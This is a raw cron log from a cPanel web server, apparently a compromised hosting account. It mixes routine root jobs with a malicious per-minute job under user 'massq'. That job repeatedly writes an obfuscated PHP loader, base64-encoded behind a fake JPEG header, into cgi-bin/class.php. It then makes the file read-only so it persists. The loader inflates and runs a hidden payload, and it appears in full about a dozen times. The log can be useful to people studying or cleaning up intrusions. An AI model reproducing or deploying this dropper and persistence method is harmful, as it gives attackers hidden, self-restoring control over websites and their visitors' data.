Sep  4 15:39:01 server CROND[10575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:40:01 server CROND[10951]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:40:01 server CROND[10954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:40:01 server CROND[10955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:40:01 server CROND[10957]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:40:01 server CROND[10958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:40:01 server CROND[10959]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:40:01 server CROND[10961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:40:01 server CROND[10956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:41:01 server CROND[11861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:41:01 server CROND[11862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:41:01 server CROND[11863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:42:01 server CROND[12254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:42:01 server CROND[12257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:42:01 server CROND[12255]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 15:42:01 server CROND[12256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:43:01 server CROND[12669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:43:01 server CROND[12670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:43:01 server CROND[12671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:44:01 server CROND[13044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:44:01 server CROND[13045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:44:01 server CROND[13046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:45:01 server CROND[13420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:45:01 server CROND[13422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:45:01 server CROND[13424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:45:01 server CROND[13425]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:45:01 server CROND[13427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:45:01 server CROND[13429]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:45:01 server CROND[13428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:46:01 server CROND[14352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:46:01 server CROND[14351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:46:01 server CROND[14353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:47:01 server CROND[14728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:47:01 server CROND[14729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:47:01 server CROND[14730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:48:01 server CROND[15101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:48:01 server CROND[15102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:48:01 server CROND[15103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:49:01 server CROND[15473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:49:01 server CROND[15474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:49:01 server CROND[15475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:50:01 server CROND[15858]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:50:01 server CROND[15859]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 15:50:01 server CROND[15863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:50:01 server CROND[15871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:50:01 server CROND[15881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:50:01 server CROND[15874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:50:01 server CROND[15883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:50:01 server CROND[15882]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:50:01 server CROND[15884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:51:01 server CROND[16684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
